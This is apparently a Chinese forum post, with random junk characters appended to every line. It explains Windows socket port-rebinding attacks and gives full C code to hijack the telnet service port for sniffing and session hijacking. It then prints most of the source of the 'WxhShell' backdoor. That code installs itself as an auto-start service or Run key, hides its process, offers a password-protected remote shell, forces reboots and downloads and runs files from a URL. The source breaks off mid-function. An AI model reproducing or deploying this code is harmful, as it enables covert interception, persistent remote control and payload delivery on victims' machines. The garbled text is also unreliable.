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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CSU>nIE0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HIh oYSwB  
PJ Air8  
  saddr.sin_family = AF_INET; raJyo>xXb5  
Zt` ,DM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); nTu"  
9/s-|jD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .^kTb2$X  
"E2 g7n&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *rEW@06^\  
!#iP)"O  
  这意味着什么?意味着可以进行如下的攻击: K0I-7/L  
6ldDt?iSg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &2\.6rb.  
~`N|sI,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Pq4sv`q)S  
rbtPG=t_R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oW+R:2I~O  
3 oWCQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  hG;u8|uT^i  
b`:Eo+p   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !E7/:t4  
d#z67Nl6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lMO0d_:b1  
U&eLj"XZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 v^E5'M[A  
Ahebr{u  
  #include Aqm0|GlJ  
  #include ]CL70+[^9  
  #include %Bo Jt-v  
  #include    ]jYl:41yI  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H5aUZ=  
  int main() !{3pp  
  { 0 s 4j>  
  WORD wVersionRequested; (p2a{v}fEz  
  DWORD ret; BW*zj=N%  
  WSADATA wsaData; Yp;x  
  BOOL val; 2Vi[qS^  
  SOCKADDR_IN saddr; l:[=M:#p  
  SOCKADDR_IN scaddr; v]1rH$  
  int err; &, )tD62s  
  SOCKET s; { p/m+m  
  SOCKET sc; {%$=^XO  
  int caddsize; :`|,a (  
  HANDLE mt; ,8 .`;  
  DWORD tid;   5SjS~ 9  
  wVersionRequested = MAKEWORD( 2, 2 ); cZ(XY}  
  err = WSAStartup( wVersionRequested, &wsaData ); 'SY &-<t(  
  if ( err != 0 ) { 83 n: h08  
  printf("error!WSAStartup failed!\n"); ~Mx fud  
  return -1; h Na<LZ  
  } OwEz( pj@  
  saddr.sin_family = AF_INET; izxCbbg  
   qRFN@ID$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q}!4b'z^  
y\[=#g1(@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); j0GI[#  
  saddr.sin_port = htons(23); ,y>Na{@Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZUu^==a  
  { = `^jz}  
  printf("error!socket failed!\n"); 1gE`_%?K  
  return -1; D)_Ei'+*l  
  } |h7v}Y  
  val = TRUE; |^F-.Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >W;i2%T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )=D&NO67Pq  
  { 'GFzI:Xr  
  printf("error!setsockopt failed!\n"); _(hwU>.  
  return -1; <%z/6I Af|  
  } Y[!a82MTzn  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =(ZGaZ}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <}%ir,8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %gaKnT(|r  
+RkYW*|$S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1 XG-O  
  { Cu:Zn%  
  ret=GetLastError(); )hug<D *h  
  printf("error!bind failed!\n"); yShHFlO=  
  return -1; V%ch'  
  } aW"!bAdx`,  
  listen(s,2); ~S3eatM$9  
  while(1) +]-KzDsr"V  
  { o(P:f)B  
  caddsize = sizeof(scaddr); akQH+j  
  //接受连接请求 u3vmC:bV  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K_QCYS.  
  if(sc!=INVALID_SOCKET) yr>bL"!CA  
  { ;X(n3F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x1wxB 1)2  
  if(mt==NULL) 2?QJh2  
  { Q$1K{14I  
  printf("Thread Creat Failed!\n"); Nd!VR+IZ  
  break; vi8~j  
  } ^>Y%L(>  
  } &r%*_pX  
  CloseHandle(mt); ^{:jY, ?]  
  } @@wx~|%  
  closesocket(s); CeTr%j  
  WSACleanup(); _sVs6AJ  
  return 0; $]kg_l)  
  }   [.X%:H+  
  DWORD WINAPI ClientThread(LPVOID lpParam) FE}!bKh  
  { ` l2q G#  
  SOCKET ss = (SOCKET)lpParam; n5.>;N.*  
  SOCKET sc; PQ}%}S7:  
  unsigned char buf[4096]; |l xy< C4V  
  SOCKADDR_IN saddr; {ah=i8$  
  long num; 2HXKz7da  
  DWORD val; xV#a(>-4  
  DWORD ret; Hc]1mM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AxlFU~E4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GYC&P]  
  saddr.sin_family = AF_INET; #OWs3$9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A[kH_{to;  
  saddr.sin_port = htons(23); 1>w^ q`P  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) = O1;vc}AA  
  { %i8>w:@NW  
  printf("error!socket failed!\n"); IY6_JGe_w  
  return -1; yvCR =C  
  } Jwd&[ O  
  val = 100; d&uTiH?0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m > (h_j  
  { .dT;T%3fO  
  ret = GetLastError(); xGfD z*t  
  return -1; 87KrSZ  
  } c^O#O  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z,FTsR$x  
  { _I_?k+#WFe  
  ret = GetLastError(); 1~DD9z  
  return -1; 1G%PXrEj8  
  } ]^9* t,{9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y?n2`l7f  
  { =`~Z@IbdI  
  printf("error!socket connect failed!\n"); t3t0vWE<,  
  closesocket(sc); i1I>RK  
  closesocket(ss); &_d/ciq1f  
  return -1; GWhAjL/N  
  } [Cj}nld   
  while(1) >}b6J7_  
  { IzdTXc f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tRnW%F5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {Y91vXTz7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6@q[tN7_^  
  num = recv(ss,buf,4096,0); oL'1Gm@X?  
  if(num>0) neh;`7~5@K  
  send(sc,buf,num,0); H:-A; f!Z  
  else if(num==0) x$GsDV  
  break; xDJ+BQ<1A  
  num = recv(sc,buf,4096,0); l(#ke  
  if(num>0) tIb21c q  
  send(ss,buf,num,0); ny(GTKoUz  
  else if(num==0) eQFb$C]R}y  
  break; 7TkxvSL X  
  } vM7vf6  
  closesocket(ss); ;Q=GJ5`B  
  closesocket(sc); {M r~%y4  
  return 0 ; ^2^|AXNES  
  } 5!F\h'E  
ZBmXaP[9  
yd ND$@; Z  
========================================================== HNy/ -  
x8?x/xE  
下边附上一个代码,,WXhSHELL 5 n+ e  
+K%pxuVh  
========================================================== pzq; vMr  
{HHh.K  
#include "stdafx.h" r1oku0o  
$54=gRo^  
#include <stdio.h> <D!c ~*[  
#include <string.h> /3Nb  
#include <windows.h> H5rPq_R  
#include <winsock2.h> P:(EU s}0  
#include <winsvc.h> .L7Yf+yFg  
#include <urlmon.h> /^LH  
*)bd1B#  
#pragma comment (lib, "Ws2_32.lib") B9e.-Xaf  
#pragma comment (lib, "urlmon.lib") |Vwc/9`t]>  
8.CKH4h  
#define MAX_USER   100 // 最大客户端连接数 f[Fgh@4cj  
#define BUF_SOCK   200 // sock buffer )W]>\=@Y  
#define KEY_BUFF   255 // 输入 buffer N pXgyD  
wfDp,T3w7  
#define REBOOT     0   // 重启 lMwk.#  
#define SHUTDOWN   1   // 关机 [.;%\>Qk<  
Kr/h`RM  
#define DEF_PORT   5000 // 监听端口 qA/#IUi)1  
mT6q}``vtG  
#define REG_LEN     16   // 注册表键长度 /e|[SITe  
#define SVC_LEN     80   // NT服务名长度 8Y\OCwO  
C NfJ:e2  
// 从dll定义API [Iw>|q<e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wKk 3)@il  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hu P^2*c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &^&$!Xmu9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [O7w =  
{b'}:aMc  
// wxhshell配置信息 uZ\wwYY#M  
struct WSCFG { @%OPy|=,{  
  int ws_port;         // 监听端口 "($Lx  
  char ws_passstr[REG_LEN]; // 口令 jVad)2D  
  int ws_autoins;       // 安装标记, 1=yes 0=no cX %:  
  char ws_regname[REG_LEN]; // 注册表键名 |Bx||=z`  
  char ws_svcname[REG_LEN]; // 服务名 ZT) !8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  ofMu3$Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HKTeqH_:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7~wFU*P1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .4Qb5I2#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,< @,gZru  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y]}b?R~p=  
=U4f}W;  
}; ^W Y8-6  
@[MO,J&h  
// default Wxhshell configuration U~uwm/h  
struct WSCFG wscfg={DEF_PORT, :`0'GM" `  
    "xuhuanlingzhe", nJFk4v4:2  
    1, PXw| L  
    "Wxhshell", {TyCj?3B  
    "Wxhshell", C=N! z  
            "WxhShell Service", iH-bo@  
    "Wrsky Windows CmdShell Service", X=v~^8M7%  
    "Please Input Your Password: ", 2E^"r jLm  
  1, izMYVI?0  
  "http://www.wrsky.com/wxhshell.exe", tg~A}1o`0  
  "Wxhshell.exe" +J|+es  
    }; A LXUaE.  
+7V=aNRlE  
// 消息定义模块 JOBz{;:R{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M_k`%o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XZ.7c{B<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N 0+hejz  
char *msg_ws_ext="\n\rExit."; -i#J[>=w{C  
char *msg_ws_end="\n\rQuit."; }@d>,1DU  
char *msg_ws_boot="\n\rReboot..."; {!L=u/qs"  
char *msg_ws_poff="\n\rShutdown..."; gs?8Wzh90*  
char *msg_ws_down="\n\rSave to "; *kP;{Cb`  
qQ^d9EK'?~  
char *msg_ws_err="\n\rErr!"; n_v02vFAHT  
char *msg_ws_ok="\n\rOK!"; E W`W~h[  
(Aorx #z  
char ExeFile[MAX_PATH]; Q4RpK(N  
int nUser = 0; {$;2 HbM(  
HANDLE handles[MAX_USER]; 8qn 9|  
int OsIsNt; $; ?c?n+  
)1WMlG  
SERVICE_STATUS       serviceStatus; W3)\co  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sa*g  
yq?]V7~  
// 函数声明 u t$c)_  
int Install(void); rWA6X DM7  
int Uninstall(void); H ( vx/q  
int DownloadFile(char *sURL, SOCKET wsh); GQb i$kl  
int Boot(int flag); wTxbDT@H5  
void HideProc(void); ]% K' fXj$  
int GetOsVer(void); ]Ko^G_Rm  
int Wxhshell(SOCKET wsl); ?ty>}.c t  
void TalkWithClient(void *cs); 58::h. :  
int CmdShell(SOCKET sock); <:">mV+/  
int StartFromService(void); =NadAyv  
int StartWxhshell(LPSTR lpCmdLine); [@//#}5v  
Hfh!l2P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m^<p8KZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eTT) P  
e?b)p5g  
// 数据结构和表定义 lCR!:~  
SERVICE_TABLE_ENTRY DispatchTable[] = h$>wv`  
{ 'S*k_vuN  
{wscfg.ws_svcname, NTServiceMain}, lbTV$A  
{NULL, NULL} 7\Co`J>p2  
}; R:M,tL-l  
"N 3)Qr  
// 自我安装 &kzj?xK=(j  
int Install(void) vy [C'a  
{ `PgdJrE  
  char svExeFile[MAX_PATH]; (,B#t7ka  
  HKEY key; zyFUl%  
  strcpy(svExeFile,ExeFile); 22&;jpL'?  
<.bRf  
// 如果是win9x系统,修改注册表设为自启动 ?{6s58Q{  
if(!OsIsNt) { H>XFz(LWh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u#@RM^738d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 19W:-Om  
  RegCloseKey(key); 1y(UgEg   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `XJm=/f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1_hW#I\'  
  RegCloseKey(key); "hQgLG  
  return 0; po7>IQS]  
    } G69GoT  
  } wMWW=$h#\  
} qtMD CXZ^n  
else { eTbg7"waA  
pDl3!m  
// 如果是NT以上系统,安装为系统服务 /<{:I \<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]{GDS! )  
if (schSCManager!=0) `XKVr  
{ %S \8.  
  SC_HANDLE schService = CreateService l63hLz  
  ( -1u9t4+`  
  schSCManager, Ln!A:dP}c-  
  wscfg.ws_svcname, q%i-`S]}qL  
  wscfg.ws_svcdisp, KC#/Z2A|<  
  SERVICE_ALL_ACCESS, te,[f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !h`kX[:  
  SERVICE_AUTO_START, k~.&j"K  
  SERVICE_ERROR_NORMAL, ,r8Tbk]m  
  svExeFile, Hy_;nN+e  
  NULL, mJ}opy!{;  
  NULL,  Vzl^Ka'  
  NULL, S/tIwG ~e3  
  NULL, !mMpb/&&S  
  NULL [eUftr9&0  
  ); AUe# RP  
  if (schService!=0) r] Lc9dL  
  { )"+2Z^1-  
  CloseServiceHandle(schService); ~j9O$s~)  
  CloseServiceHandle(schSCManager); om h{0jA0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )#iq4@)|g  
  strcat(svExeFile,wscfg.ws_svcname); r^,<(pbd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9DQa PA6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cV{o?3<:B  
  RegCloseKey(key); kwpK1R4zs  
  return 0; YXo|~p;=Y  
    } Pr ]Ka  
  } uxaYCa?  
  CloseServiceHandle(schSCManager); }Gyqq6Aeb  
} QPt Gdd  
} kOo~%kcQ'  
U.!lTLjfLz  
return 1; ?>"Yr,b?  
} d5 7i)=  
kn"(mJe$  
// 自我卸载 '6y}ZE[  
int Uninstall(void)  Q6'x\  
{ GVHV =E  
  HKEY key; 3jB$2:#  
4;`oUt'.  
if(!OsIsNt) { l 'DsZ9y@2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 91>fqe  
  RegDeleteValue(key,wscfg.ws_regname); _BdE< !r  
  RegCloseKey(key); VA *y|Q6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n_ lo`  
  RegDeleteValue(key,wscfg.ws_regname); z4M9M7)"  
  RegCloseKey(key); h\v'9  
  return 0; W"^wnGa@a  
  } b2b?hA'k  
} Mj[f~  
} J:&[ 59  
else { )XcOl7XLN  
^uv<6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `\Hf]b  
if (schSCManager!=0) ^P151*=D  
{ 0c K{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `;%]'F0`  
  if (schService!=0) L|bwZ,M=}?  
  { ZaNQpH.  
  if(DeleteService(schService)!=0) { y6]vl=^L  
  CloseServiceHandle(schService); ^&y$Wd]6  
  CloseServiceHandle(schSCManager); Hx ,0zS%>  
  return 0; V3 ~~  
  } orOt>5}b<  
  CloseServiceHandle(schService); i[wb0yL  
  } C8z{XSo  
  CloseServiceHandle(schSCManager);  Yn8=  
} M1KqY:9E  
} E@7J:|.)R  
r@ZJ{4\Q  
return 1; ^Q+g({  
} EkziAON  
+\v?d&.f0  
// 从指定url下载文件 /7gOSwY  
int DownloadFile(char *sURL, SOCKET wsh) 8#vc(04(  
{ RjN{%YkXe  
  HRESULT hr; O{ #=d  
char seps[]= "/"; )ZN|t?|  
char *token; 9-MUX^?u  
char *file; BCA&mi3q  
char myURL[MAX_PATH]; z[Xd%mhjO  
char myFILE[MAX_PATH]; YpqrZWvh  
>y,-v:Vy  
strcpy(myURL,sURL); rS;Dmm  
  token=strtok(myURL,seps); 'q`^3&E  
  while(token!=NULL) f k&8]tK4  
  { z*-2.}&U<  
    file=token; SJHr_bawd  
  token=strtok(NULL,seps); 4ecP*g  
  } ;3@cy|\:  
H- $)3"K  
GetCurrentDirectory(MAX_PATH,myFILE); 13>0OKg`#  
strcat(myFILE, "\\"); fZoHf\B]{  
strcat(myFILE, file); O&Y*pOg  
  send(wsh,myFILE,strlen(myFILE),0); DP|D\+YyYA  
send(wsh,"...",3,0); 9g mW&{6q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mGK|ihYu  
  if(hr==S_OK) qw^uPs7Uw  
return 0; (=om,g}  
else cH&J{WeZa  
return 1; xU4 +|d  
#~ )IJ  
} GaK-t*Q  
,=[?yJy  
// 系统电源模块 ye,>A.  
int Boot(int flag) oaIi2=Tf  
{ ++^l]8  
  HANDLE hToken; MB~=f[cUnd  
  TOKEN_PRIVILEGES tkp; ^y<<>Y'I  
7Mg=b%IYs  
  if(OsIsNt) { `)_dS&_\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  @fl-3q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 73/P&hT  
    tkp.PrivilegeCount = 1; SMpH._VFeE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f}9zgWU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3`t%g[D1  
if(flag==REBOOT) { e?8HgiP-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $\X[@E S0  
  return 0; xHD=\,{ig  
} NTYg[VTr  
else { n(;|q&3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5\]Sv]s)R  
  return 0; ^\4h<M  
} wAf\|{Vn  
  } wk5s)%V  
  else { &m-PC(W+  
if(flag==REBOOT) { xc=b |:A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &L'Dqew,*  
  return 0; Y^$X*U/q%U  
} '"SEw w  
else { y1dDO2mA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DtXrWS/  
  return 0; au: fw  
} m qMHL2~  
} 9]f!'d!5  
=8AO:  
return 1; ;f#v0W`5  
} ,!#*GZ.ix  
&"&Z #llb  
// win9x进程隐藏模块 ,JAx ?Xb  
void HideProc(void) a&/#X9/  
{ < $J>9k  
<m)$K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K|zZS%?$  
  if ( hKernel != NULL ) g jDh?I  
  { HK,cJah q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?!A7rb/tj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m% -g~q  
    FreeLibrary(hKernel); <D<4BnZ(  
  } ,(d) Qg  
Q=;U@k@>  
return; r`W)0oxD  
} 3!XjtVhK?I  
x@P y>f2  
// 获取操作系统版本 _x%7@ .TB  
int GetOsVer(void) {o_X`rgrL  
{ JEXy%hl  
  OSVERSIONINFO winfo; = RA /  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O#:$^#j&  
  GetVersionEx(&winfo); dP# |$1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UQ)W%Y;[0  
  return 1; OK[T3/v,  
  else "c3Grfoz  
  return 0; *6sl   
} dgR g>)V  
+T|JK7  
// 客户端句柄模块 .k,1f*%  
int Wxhshell(SOCKET wsl) SQBa;hvgM  
{ h`KFL/fT  
  SOCKET wsh; [Y|8\Ph`&  
  struct sockaddr_in client; |n+qMql'  
  DWORD myID; !\nBh  
diJLZikk  
  while(nUser<MAX_USER) .AR#&mL9  
{ zKw`Md  
  int nSize=sizeof(client); 6IBgt!=,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Wvbf"hq  
  if(wsh==INVALID_SOCKET) return 1; D^yRaP*|7  
EN$2,qf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Lm*e5JnV  
if(handles[nUser]==0) >zw.GwN|  
  closesocket(wsh); K(q+ "  
else ;YA(|h<  
  nUser++; xbdN0MAU  
  } a|%J=k>>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /qMG=Z  
l1T m`7}  
  return 0; S|SV$_ (  
} S{]x  
AJh w  
// 关闭 socket U &C!}  
void CloseIt(SOCKET wsh) wN@oYFoL  
{ 8J:}%DaxL  
closesocket(wsh); {K+i cTL3  
nUser--; :}5j##N  
ExitThread(0); `b Fff %_  
} BzkooJ  
1;C+$  
// 客户端请求句柄 >pU$wq|i  
void TalkWithClient(void *cs) d:#yEC  
{ "U e. @>  
H<VTa? n  
  SOCKET wsh=(SOCKET)cs; j}%ja_9S  
  char pwd[SVC_LEN]; W=j[V Oq  
  char cmd[KEY_BUFF]; q1z"-~i )E  
char chr[1]; 0+?7EL~  
int i,j; 5~r33L%  
5"CZh.J  
  while (nUser < MAX_USER) { rX4j*u2u  
WlB  
if(wscfg.ws_passstr) { 4A8;tU$&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y`\@N"Cf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % W=b? :  
  //ZeroMemory(pwd,KEY_BUFF); ruc++@ J@  
      i=0; 6hlc1?  
  while(i<SVC_LEN) { ).Fpgxs  
9f2UgNqe9  
  // 设置超时 ;1:Js0=;H  
  fd_set FdRead; u])b,9&En  
  struct timeval TimeOut; 9Xj7~,  
  FD_ZERO(&FdRead); ?\vh9  
  FD_SET(wsh,&FdRead); N!ls j \-  
  TimeOut.tv_sec=8; (MR_^t  
  TimeOut.tv_usec=0; '_GrD>P)-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qCljo5Tq'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tZ'|DCT  
mp=z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); byLft 1  
  pwd=chr[0]; ePr&!Tz#  
  if(chr[0]==0xd || chr[0]==0xa) { /LvRP yj@  
  pwd=0;  Of"  
  break; T?x[C4wf+  
  } qHuZcht  
  i++; %e-7ubW  
    } P* w9 ,  
e8pG"`wM8  
  // 如果是非法用户,关闭 socket ~Lm$i6E <  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :[O 8  
} jFASX2.p  
{)BTR%t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L\@I*QP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V8rx#H~  
;nodjbr,j  
while(1) { ;5zz<;Zy  
N>XS=2tzN  
  ZeroMemory(cmd,KEY_BUFF); znxnL,-  
YE|SKx@  
      // 自动支持客户端 telnet标准   vgsJeV`}I  
  j=0; ~R22?g.  
  while(j<KEY_BUFF) { KVT-P};jy*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VHCK2}ps  
  cmd[j]=chr[0]; KVn []@#  
  if(chr[0]==0xa || chr[0]==0xd) { Y0x%sz 5  
  cmd[j]=0; *v9 2  
  break; 8n'B6hi  
  } I1pWaQ0  
  j++; \#Pfj &*  
    } 3QG7C{  
\P.I)n`8 y  
  // 下载文件 Hea;?4Vg  
  if(strstr(cmd,"http://")) { t .7?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LIcM3_.  
  if(DownloadFile(cmd,wsh)) \.-}adKg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %p2Sh)@M  
  else v6>_ j L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /H8g(  
  } 9y<*8bI   
  else { CIb2J)qev  
wE?'Cl  
    switch(cmd[0]) { gj*+\3KO@a  
  9{ >Ui  
  // 帮助 .P[ _<8  
  case '?': { n ~shK<!C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L&u$t}~)  
    break; IIn"=g=9  
  } xlA$:M&  
  // 安装 [8T^@YN  
  case 'i': { I'uSp-Sfy  
    if(Install()) ;[M}MFc/`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hRUhX[  
    else W g02 A\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;#vKi0V7  
    break; BYVY)<v/  
    } k'Sp.  
  // 卸载 nV-mPyfL8  
  case 'r': { y:~ZLTAv  
    if(Uninstall()) PH+S};Uxv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D-5VC9{  
    else _j< K=){  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L"o>wYx  
    break; ;/r1}tl+3>  
    } P)Rh=U  
  // 显示 wxhshell 所在路径 .J)I | '  
  case 'p': { - jb0o/:  
    char svExeFile[MAX_PATH]; + HK8jCa  
    strcpy(svExeFile,"\n\r"); ms*(9l.hOK  
      strcat(svExeFile,ExeFile);  %oZ6l*  
        send(wsh,svExeFile,strlen(svExeFile),0); P<X\%_Iat  
    break; c'%-jG)\  
    } `(_s|-$  
  // 重启 f !I[>&n  
  case 'b': { wr$M$i:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); El.hu%#n*G  
    if(Boot(REBOOT)) |=`~-i2W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i rU 6D  
    else { "alyfyBu'M  
    closesocket(wsh); {2=jAz'?  
    ExitThread(0); "Zl5<  
    } = \'}g?  
    break; UNom-  
    } Tn*9lj4  
  // 关机 :.Jf0  
  case 'd': { ADDSCY=,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v"b+$*  
